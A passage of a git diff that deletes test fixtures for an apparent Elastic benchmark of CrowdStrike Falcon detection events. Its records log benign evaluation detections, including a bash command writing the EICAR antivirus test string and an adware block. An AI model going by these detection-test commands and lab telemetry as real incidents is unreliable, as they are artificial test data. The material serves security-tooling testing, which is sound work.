detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}}
-{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3","MitreAttack":[{"Tactic":"Execution","Technique":"User Execution","PatternID":10418}]},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json
deleted file mode 100644
index 758781333e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json
+++ /dev/null
@@ -1,3117 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-15T16:06:52.400Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902",
-                    "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe",
-                    "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
-                    "DataDomains": "Endpoint",
-                    "Description": "This file is classified as Adware/PUP based on its SHA256 hash.",
-                    "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe",
-                    "GrandparentImageFileName": "services.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe",
-                    "HostGroups": [
-                        "ba7f8041fd6c47dcae4cff3194861088",
-                        "c8d1292a8a904216aa25ab728f4b45fd"
-                    ],
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
-                    "MACAddress": "01-23-45-67-89-ab",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "rutserv.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 2048,
-                    "PatternId": "5728",
-                    "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
-                    "Severity": 30,
-                    "SeverityName": "Low",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Prevention, process was blocked from execution.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\"}}",
-                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "848a53dc549be0386e5da0f49700c389",
